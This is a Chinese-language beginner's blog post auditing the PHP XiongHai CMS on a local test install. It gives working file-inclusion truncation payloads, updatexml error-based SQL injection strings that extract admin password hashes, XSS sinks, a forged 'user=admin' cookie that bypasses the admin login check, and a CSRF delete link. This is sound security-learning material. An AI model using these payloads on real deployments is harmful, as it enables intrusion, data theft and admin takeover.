m0re
每个人心中的某个角落,都住着无人知道的自己 。

0x00 前言

最近尝试入门PHP代码审计,看了很多师傅的博客和学习经历,最终选择了熊海CMS来做入门审计,而且学习渗透测试方向,必须要过代码审计这一关,先从简单的CMS来练手,熟悉一下代码审计的流程和方法。

0x01 审计基础

1.1 了解常见危险函数

eval函数:把字符串code作为PHP代码执行。eval函数
assert函数:检查一个断言是否为FALSE。(把字符串$assertion作为PHP代码执行)assert函数
preg_replace函数:执行一个正则表达式的搜索和替换。

mixed preg_replace(mixed $pattern,mixed $replacement,mixed $subject[,int $limit=-1[,int &$count]])

搜索subject中匹配pattern的部分,以replacement进行替换。
call_user_func :把第一个参数作为回调函数调用。https://www.php.net/call_user_func/
call_user_func_array:把第一个参数作为回调函数(callback)调用,把参数数组(param_arr)作为回调函数的参数传入。

1.2 包含函数

include函数:include语句包含并运行指定文件。
include_once函数:
include_once语句在脚本执行期间包含并运行指定文件。此行为和include语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含。如同此语句名字暗示的那样,只会包含一次。
被包含文件

/*这个作为被包含的文件*/
<?php
/*-----m0re-----*/
$color = 'green';
$fruit = 'apple';

执行文件:

<?php
echo "A $color $fruit";//A
include 'm0re.php';
echo "A $color $fruit";//A green apple


就可以看出包含函数的作用了。
Require函数:
require和include几乎完全一样,除了处理失败的方式不同之外。
require在出错时产生E_COMOILE_ERROR级别的错误。换句话说将导致脚本中止。而include只产生警告(E_WARNING),脚本会继续运行。
require_once函数和require函数完全相同。唯一区别是PHP会检查该文件是否已经被包含,如果是则不会再次包含。

执行函数

exec()执行一个外部程序
passthru()执行外部程序并且显示原始输出。
proc_open()执行一个命令,并且打开用来输入/输出的文件指针。
shell_exec()通过shell环境执行命令,并且将完整的输出以字符串的方式返回。
system()执行外部程序,并且显示输出。
popen()通过popen()的参数传递一条命令,并对popen()所打开的文件进行执行。

文件操作函数

copy拷贝文件
file_get_contents将整个文件读入一个字符串。
file_put_contents将一个字符串写入文件。
file把整个文件读入一个数组中。
fopen打开文件或者URL。
move_uploaded_file将上传的文件移动到新位置。
readfile输出文件。
rename重命名一个文件或目录。
rmdir删除目录
unlink&delete删除文件

其他的遇到再进行补充……
审计代码需要有哪些条件准备?
1、获取源码(没有源码,审计就无法进行)
2、安装网站:本地搭建好对应的测试环境。
了解网站目录结构

  • 网站结构:浏览源码文件夹,了解程序的大致目录
  • 入口文件:index.php、main.php文件一般是整个程序的入口,从中可以知道:
    • 程序的架构
    • 运行流程
    • 包含哪些配置文件
    • 包含哪些过滤文件和安全过滤文件
    • 了解程序的业务逻辑
  • 配置文件:一般类似config.php等文件,保存一些数据库相关信息,程序的一些信息。
    • 先看数据库编码,如果是GBK可能存在宽字节注入。
    • 若变量的值用双引号,则可能存在双引号解析代码执行的问题。
  • 过滤功能:通过详细读公共函数文件和安全过滤文件等文件,清晰掌握:
    • 用户输入的数据,哪些被过滤,哪些无过滤如何过滤。
    • 在哪里被过滤了。
    • 如何过滤,过滤的方式是替换还是正则,有没有GPC,有没有使用addslasher()处理?
    • 能否绕过过滤的数据

1、通读全文法实在是太费时费力,但是最全面。

2、最高效和最常用的方法还是敏感函数参数检查,这个就可以用到Seay代码审计工具了。

3、定向功能分析法
按照程序的业务逻辑审计,首先是用浏览器逐个访问浏览,看看这套程序有哪些功能,根据相关功能,大概推测可能存在哪些漏洞。
常见功能漏洞:

  • 程序初始安装
  • 站点信息泄露
  • 文件上传
  • 文件管理
  • 登陆认证
  • 文件删除
  • 数据库备份恢复
  • 找回密码
  • 验证码

0x02 网站目录结构

接下来开始对熊海CMS进行基础审计
本地源码,查看一下网站的文件目录结构,了解一下大概文件夹的功能作用。

admin         --管理后台文件夹
css           --存放css的文件夹
files         --存放页面的文件夹
images        --存放图片的文件夹
inc           --存放网站配置文件的文件夹
install       --网站进行安装的文件夹
seacmseditor  --编辑器文件夹
template      --模板文件夹
upload        --上传功能文件夹
index.php     --网站入口(首页)

先使用seay源码审计工具进行扫描一遍

然后使用另一个工具Rips进行扫描,查看结果,并与seay源码审计工具扫描的结果进行对比

两种工具最好结合使用,然后下面进行分析复现

0x03漏洞复现

3.1 文件包含漏洞

3.1.1 /index.php文件包含漏洞

这个文件包含漏洞,则为,接受传参r,r不为空的话就进行包含文件操作。在我们网站根目录,我们传入一个phpinfo.php文件,

http://127.0.0.1/xhcms/index.php?r=../phpinfo
#%00截断(php<5.3.4)
http://127.0.0.1/flag.php?file=../phpinfo.php%00
#点号截断(windows,点号位数大于256,php<5.2.8)
http://127.0.0.1/xhcms/index.php?r=../phpinfo.php.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
#路径长度溢出截断(windows,点号位数需要长于256;linux长于4096,php<5.2.8)
http://127.0.0.1/xhcms/index.php?r=../phpinfo.php/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

此处复现PHP版本是5.5.9

/admin/index.php代码相同,同理可利用。

3.2 SQL注入漏洞

3.2.1 后台注入

/admin/files/login.php
为什么先看这里,因为在登录框处必然调用数据库,最有可能存在SQL注入和万能密码
关键代码:

require '../inc/conn.php';
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];

if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users = mysql_fetch_array($result);

if (!mysql_num_rows($result)) {  
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;
}else{
$passwords=$users['password'];
if(md5($password)<>$passwords){
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;	
	}

执行的SQL语句为:SELECT * FROM manage WHERE user='$user'
没有看到有关登录验证的过滤函数,所以这就可以直接进行SQL注入。而且由$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());这里可以看出mysql_error()是开启的,可以进行报错注入。
但是这个地方不能使用万能密码来进行登录,为什么呢?因为这里将我们传入的password变量进行MD5散列,然后使用散列值与数据库中的密码进行对比,这里就不能使用万能密码进行登录绕过。
然后就是验证漏洞存在

1' or updatexml(1,concat((select concat(0x7e,password) from manage)),0) #
1' or updatexml(1,concat((select concat(password,0x7e) from manage)),0) #

也可以使用sqlmap跑,手注确实费力,但是注入流程要熟悉。
上面的payload为注入password的散列值,不过updatexml一次返回27位,不能完整返回password的散列值,只能采用两条语句来查询。

两次拼接得到完整的散列值,进行MD5爆破即可得出password明文
重点不在注入,所以注入过程省略,以下皆寻找注入类型和代码
**/admin/files/softlist.php**

$delete=$_GET['delete'];
if ($delete<>""){
$query = "DELETE FROM download WHERE id='$delete'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
echo "<script>alert('亲,ID为".$delete."的内容已经成功删除!');location.href='?r=softlist'</script>";

发现一个问题就是在此套cms中,涉及MySQL的语句,不论是查询还是delete或者其它操作,均未使用waf或者过滤,这可能也就是它适合初学者进行入门审计的原因之一了。
**/admin/files/wzlist.php**

$delete=$_GET['delete'];
if ($delete<>""){
$query = "DELETE FROM content WHERE id='$delete'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());

又是一枚报错注入。无过滤!!!
还存在SQL注入的位置/admin/files/reply.php/admin/files/newlink等等,基本都是后台的注入,吐槽一下这个写的确实有点拉跨。

3.2.2 前台注入

/files/software.php

addslashes()函数返回在预定义字符之前添加反斜杠的字符串。
参考:https://www.w3school.com.cn/php/func_string_addslashes.asp
预定义字符是:

  • 单引号(’)
  • 双引号(”)
  • 反斜杠()
  • NULL

默认地,PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。所以您不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。

//浏览计数
$query = "UPDATE download SET hit = hit+1 WHERE id=$id";
@mysql_query($query) or die('修改错误:'.mysql_error());

这里id=$id没有使用单引号或者双引号包起$id。所以这里addslashes()函数就不起作用,仍然造成SQL注入。

//payload
?r=content&cid=1%20or(updatexml(1,concat(0x7e,(select%20version()),0x7e),1))
//return
//修改错误:XPATH syntax error: '~5.7.26~'

其他地方的就与上面的类型相同了,不再赘述。
**/install/index.php**
安装流程存在SQL注入,不知道怎么利用,阅读大佬的经验文章,发现install的位置,也就是在安装cms的位置,也存在SQL注入的。

$query = "UPDATE manage SET user='$user',password='$password',name='$user'";
@mysql_query($query) or die('修改错误:'.mysql_error());
echo "管理信息已经成功写入!<br /><br />";

同样不存在过滤,这里进行验证一下

先删除InstallLock.txt文件锁,再重新安装
在user的位置进行注入,依旧是报错注入
这里不再啰嗦,粘一下最后的验证结果

3.3 XSS漏洞

3.3.1 反射型XSS

/files/contact.php
扫描器扫出

$page=addslashes($_GET['page']); //59行
<?php echo $page?> //139行

进行利用复现,最简单的payload,没有任何过滤。

还有其它的。

这个不是扫描器的话,不好发现,因为在我之前的学习中,xss最常出现的地方是评论区,留言板之类的。

3.3.2 存储型XSS

这个地方我找到评论功能的所在处

#    /admin/files/commentlist.php
<?php
require '../inc/checklogin.php';
require '../inc/conn.php';
$hdopen='class="open"';
$type=$_GET['type'];
if ($type=='comment'){
$fhlink="?r=commentlist&type=comment";
$fhname="评论";
$type=1;
$taojian="type=1 AND cid<>0";
$biao="content";
}
if ($type=='message'){
$fhlink="?r=commentlist&type=message";
$fhname="留言";
$type=2;
$taojian="type=2 AND cid=0";
$biao="content";
}

查看这些变量,查询语句是什么

$query1 = "SELECT * FROM $biao WHERE id='$fl_id'";
$resul1 = mysql_query($query1) or die('SQL语句有误:'.mysql_error());
$contentname = mysql_fetch_array($resul1); 
$xs=$list['xs'];
if ($xs==1){
$xs='<span class="label label-success">显示</span>';
	}else{
$xs='<span class="label label-danger">隐藏</span>';		
		}
if ($list['rcontent']<>""){;	
$toutiao=' <span class="label label-info">已回复</span>';
}else{
$toutiao=' ';
}
if ($list['shebei']<>""){;	
$shebei=' <span class="label label-warning">'.$list['shebei'].'</span>';
}else{
$shebei=' ';
}
?>
                        <tr>
                          <td><?php echo $list['id']?></td>
                          <td><?php echo  $list['name']?></td>
                          <?php if ($type<>2){?>
                          <td><?php echo $contentname ['title'];?></td>
                          <?php }?>
                          <td><?php echo $xs .$toutiao.$shebei.$images?></td>
                          <td><?php echo  date('Y-m-d H:i',strtotime($list['date']))?></td>
                          <td>
<a href="?r=reply&type=<?php echo $type?>&id=<?php echo $list['id']?>"><button class="btn btn-xs btn-warning"><i class="icon-pencil"></i> </button></a>
<a href="<?php echo $fhlink?>&delete=<?php echo $list['id']?>" onClick="return confirm('操作警告:\n\n请注意,删除可能会影响整个系统关联项\n\n您确定要删除吗?') "><button class="btn btn-xs btn-danger"><i class="icon-remove"></i> </button></a>

                          </td>
                        </tr>

                        <tr>
                          <td>#</td>
                          <?php if ($type<>2){?>
                          <td colspan="4">
<?php }else{?>
<td colspan="3">
 <?php }?> 
 <?php echo $list['content']?>
                          </td>
                          <td><?php echo $list['ip']?></td>
                        </tr>

<?php }?>


                      </tbody>
                    </table>

                    <div class="widget-foot">
<ul class="pagination pull-left">
<li><a><?php echo $page?> - <?php echo $Totalpage?> 页 共 <?php echo $Total?></a></li>

依旧是没有过滤,直接将内容输出了。这里存在存储型的XSS。

/files/content.php(不存在XSS,但是值得看一看)
此处的表单

<form  name="form" method="post" action="/?r=submit&type=comment&cid=<?php echo $id?>">
<input name="cid" type="hidden" value="<?php echo $id?>"/>
<ul>
<li><span>昵称</span><input name="name" type="text" value="<?php echo $_COOKIE['name']?>" /></li>
<li><span>邮箱</span><input name="mail" type="text" value="<?php echo $_COOKIE['mail']?>"/></li>
<li><span>网址</span><input name="url" type="text" value="<?php echo $_COOKIE['url']?>"/></li>
<textarea name="content" cols="" rows=""></textarea>
<input name="save" type="submit"  value="提交" id="input2"/>
<div id="code"><span>验证码</span><input name="randcode" type="text" /> <span id="yspan"><img src="../inc/code.class.php" onClick="this.src=this.src+'?'+Math.random();" title="看不清楚?点击刷新验证码?"></span>
</div>
<div id="xx">
<span><input name="jz" type="checkbox" value="1" checked="checked"/> 记住我的个人信息</span>
<span><input name="tz" type="checkbox" value="1" checked="checked"/> 回复后邮件通知我</span>
</div>

<div id="qcfd"></div>
</ul>
</form>

从代码中可以看出,在这里写的评论内容,存入$content变量中,然后通过submit.php来进行下一步处理

#submit.php中$content部分
if (!preg_match("/([\x81-\xfe][\x40-\xfe])/", $content, $match)) {
echo "<Script language=JavaScript>alert('亲,再说点别的了吧?');history.back();</Script>";
exit;
}


直到这里,如果网址上没有http://,则加上http://,而且套接使用了addslashes()函数,进行了一些过滤,所以这里就不存在XSS了。
小总结就是$name也就是姓名处存在存储型XSS
**/files/concat.php**同上

3.4 垂直越权

checklogin.php

<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;
}
?>

如果COOKIE中user参数为空,那么就跳转到登陆窗。这样的话越权就很轻松了,我们访问一个需要管理员权限的页面,例如http://127.0.0.1/xhcms/admin/?r=editlink
抓包在COOKIE后面添加user=admin即可实现越权。

查看浏览器中返回信息

3.5 CSRF漏洞

/admin/files/wzlist.php
以此处的一个删除功能为例

$delete=$_GET['delete'];
if ($delete<>""){
$query = "DELETE FROM content WHERE id='$delete'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
echo "<script>alert('亲,ID为".$delete."的内容已经成功删除!');location.href='?r=wzlist'</script>";
exit; 
}
?>

这里发现它是没有其它的后续操作了,就删除之后没有其它验证。
抓包查看

数据包中也没有防护,比如设置token进行验证身份。
复制它的链接,也就是删除该文章所需要执行的操作。
http://127.0.0.1/xhcms/admin/?r=wzlist&delete=18
在管理员登录状态下点击,即可删除对应文章。
这里我换个浏览器进行操作

这个漏洞可以和垂直越权漏洞结合使用。

0x04 复现总结

一、 代码审计就是有点费头发
二、 虽然这个是入门,但是对于我这样的审计新手来说,工作量还是比较大的。倒是不难,就是与平时的CTF有点不一样,不过毕竟算一个真实的环境。
三、 工具使用固然重要,但是手工才是代码审计的特殊所在。有些就必须人工来做,扫描工具无法做到的事情。
四、一些危险函数,有的虽然在本文件可能没什么发现,这个时候需要去看看与它关联的其它文件看看有无可以用的点。

审计新手,复现过程比较简单,师傅们轻点喷。